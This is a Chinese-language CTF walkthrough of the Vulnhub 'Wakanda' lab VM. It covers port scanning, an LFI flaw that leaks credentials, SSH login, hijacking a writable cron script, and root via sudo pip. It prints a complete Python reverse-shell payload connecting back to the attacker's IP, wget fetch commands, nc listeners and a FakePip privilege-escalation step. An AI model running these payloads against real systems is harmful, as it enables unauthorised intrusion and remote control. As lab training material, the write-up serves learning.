Vulnhub靶機Wakanda滲透測試攻略
百度網盤下載地址:
難度級別:中級。
用virtualbox匯入Wakanda_1.ova靶機環境,修改其網路連線方式為Bridged(橋接網絡卡),並選擇一個可用於聯網的網絡卡(例如,我使用的無線網絡卡上網,在圖中網絡卡為Inter(R) Dual Band Wireless-AC 7260)。
這裡我使用NAT模式,Kali跟靶機處於同一區域網下
1.檢視kali的ip ifconfig
然後我們使用netdiscover來探測區域網存活主機 也可以用 nmap -sP
下面2條效果相同,只是一個是通過指定網絡卡來確定掃描範圍,另一個是通過IP地址來確定範圍
netdiscover -r 192.168.100.0/24
netdiscover -i eth0
192.168.100.7就是靶機的IP地址
然後我們通過 nmap -p 1-65536 -sV 192.168.100.7
來探測靶機的開放埠以及埠上服務的資訊
掃描完成後,我們發現目標機器上有四個開放的埠。那麼,讓我們先從HTTP埠開始下手。利用瀏覽器訪問目標機器的IP,這時將會看到一個網站,具體如下圖所示。
用dirb 對靶機進行目錄探測
狀態碼都是200,但是size都是0說明返回的是空頁面
在手動分析HTML內容的過程中,我們在註釋中找到了一個引數,具體如下圖所示。
滑鼠放到@mamadou上面看下連線也是提示
正如在上面螢幕截圖的突出顯示區域中可以看到的那樣,註釋中存在“lang”引數,並且研究發現,該引數含有本地檔案包含(LFI)漏洞。於是,我利用該漏洞下載了索引檔案的內容,具體如下圖所示。
對索引檔案進行解碼後,我們在原始碼中找到了一個密碼,具體見截圖中的高亮部分。相應的密碼如下所示。
密碼:Niamey4Ever227!!!
現在,我們已經找到了密碼,並且通過埠掃描還發現目標機器上還執行著SSH服務。不過,我們還不知道使用者名稱。於是,我嘗試使用一些預設使用者名稱的密碼進行爆破,可惜沒有成功。
花了一些時間後,我在索引頁面的HTML內容中發現了一個使用者名稱,具體如下圖所示。
在突出顯示的區域中,我們可以看到“Made by”,這意味著我們可能找到了SSH的有效使用者名稱,具體如下所示。
使用者名稱:mamadou
由於我們已經在原始碼中找到了密碼,並且SSH服務也在目標計算機上執行,因此,我們可以嘗試使用以下憑據來登入系統:
Username: mamadou
Password: Niamey4Ever227!!!
也可以用kali的ssh來登陸
從上面的螢幕截圖中可以看出,這裡使用的憑證是有效的,因為我們成功登入了目標系統。但是,我們還沒有得到命令shell,因為這裡是一個Python shell。接下來,我們要做的事情,就是使用自己喜歡的Python命令來獲取訪問bash shell的許可權了,具體如下圖所示。
好了,我們終於獲得了對目標機器的命令列shell的訪問許可權了。之後,我運行了ls命令,顯示的檔案為flag1.txt檔案。至此,我們就拿到了第一個旗標,具體如下圖所示。
第一個旗標到手了! 現在,讓我們來看看核心和Linux作業系統的版本號。
使用的命令:
uname -a
cat /etc/issue
如您所見,我們檢索了核心版本和作業系統版本方面的資訊。接下來,我們就可以通過網際網路來檢查這些版本是否存在可用的本地漏洞了。
事實證明,雖然Google的搜尋結果表明有很多漏洞可用,但它們都不適用於這臺機器。於是,我開始試圖尋找其他途徑。我仔細分析了/etc/passwd檔案,發現目標系統上還有另外一個使用者,即“DevOps”。
使用者“DevOps”在目標計算機上具有bash訪問許可權。因此,我們不妨檢查DevOps使用者所有的檔案,看看能否獲取弱檔案許可權漏洞。
使用的命令:find / -user devops 2>/dev/null -ls
這條命令查詢屬於devops使用者的檔案 同時不顯示錯誤輸出,把存在的檔案的詳細資訊列出來
通過上述命令,我們找到了部分檔案,其中一個讓人感興趣的檔案是“.antivirus.py”,該檔案對所有使用者都具有寫入許可權。所以,我們不妨看看這個檔案的內容。
不難看出,這段程式碼將開啟位於“tmp”目錄中的test檔案而編寫,並向該檔案中寫入“test”。所以,對tmp資料夾中的test檔案進行了一番瞭解。因為該檔案的所有者是DevOps,所以它執行時將擁有DevOps使用者的許可權。如果我們能夠編寫一個Python反向連線程式並將其替換為“.antivirus.py”,那麼我們將獲得另一個DevOps使用者shell。好了,我們下手吧。
我在本地計算機上建立了一個Python程式,並使用wget程式將其傳輸到目標計算機的“tmp”資料夾中。
我們先再kali上開啟web服務
python程式原始碼
#! /usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“192.168.100.8”,4545));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call([“/bin/sh”,”-i”]);
然後把這個檔案放到 /var/www/html裡面
然後再通過wget下載到靶機裡面
wget http://192.168.100.8/pythonshell.py
cp pythonshell.py /srv/.antivirus.py
然後我們看看是否替換成功
之後,我們在埠4545上啟動偵聽器以接收反向shell,並等待Cron執行。等了一段時間後,我們在目標機器上收到了一個反向shell,具體如下圖所示。
【不知道什麼情況自己的機器,一直反彈不出shell,下面的就引用別人的文章內容】
nc -lvp 4545
我們搞到了一個反向shell。之後,我們可以執行“id”命令來檢查使用者的情況,從而確認我們可以作為“DevOps”使用者來訪問目標計算機。現在,讓我們執行Python命令來獲取穩定的shell訪問許可權,具體如下圖所示。
使用的命令:
python -c ‘import pty;pty.spawn(“/bin/bash”)’ (用來獲取穩定的shell)
cd /home/devops (用於將當前目錄改為DevOps)
ls (用於列出檔案)
cat flag2.txt (用於讀取flag2.txt檔案)
如上圖所示,我們獲得了DevOps使用者的許可權,並在DevOps主目錄中找到了另一個旗標。
因此,現在只要找到最後一個旗標就挑戰成功了。由於DevOps使用者也不是root使用者,因此,我們還需要獲取該計算機的root訪問許可權才能完成本次挑戰。我們認為,只要獲得root訪問許可權時,我們就能找到root旗標。
作為DevOps使用者,當面執行sudo命令的時候,會返回一個錯誤訊息,具體如下圖所示。
使用的命令: sudo -l 執行sudo -l命令後,我們發現/user/bin/pip可以作為root使用者執行,且無需任何密碼。
所以,我們搜尋了pip服務方面的漏洞利用程式碼,並通過wget程式將其下載到了目標機器上。在此之後,還必須在目標機器上執行漏洞利用程式碼,這方面的資訊,請參考https://github.com/0x00-0x00/FakePip
修改setup.py
中的RHOST = '10.0.0.1' # change this
語句為kali的IP地址
由於在靶機上無法高效地編輯exp,我們先在kali上將exp下載下來,再編輯,最後上傳到靶機上。
使用的命令:
wget 192.168.100.8/setup.py(用於從本地計算機下載漏洞利用程式碼)
sudo /usr/bin/pip install . –upgrade –force-reinstall(用於執行漏洞利用程式碼)
如您所見,我們首先在埠443上啟動了Netcat偵聽器,然後運行了漏洞利用程式碼,從而獲得了目標機器的root shell,具體如下圖所示。
到目前為止,我們終於在目標機器上擁有了root許可權!現在,我們要讀取第3個旗標,以完成挑戰。實際上,第3個旗標很容易從根目錄中找到,具體如下圖所示。
我們找到了最後的一個旗標!對於這個CTF挑戰來說,我們已經順利通關了。
感謝各位耐心讀完本文!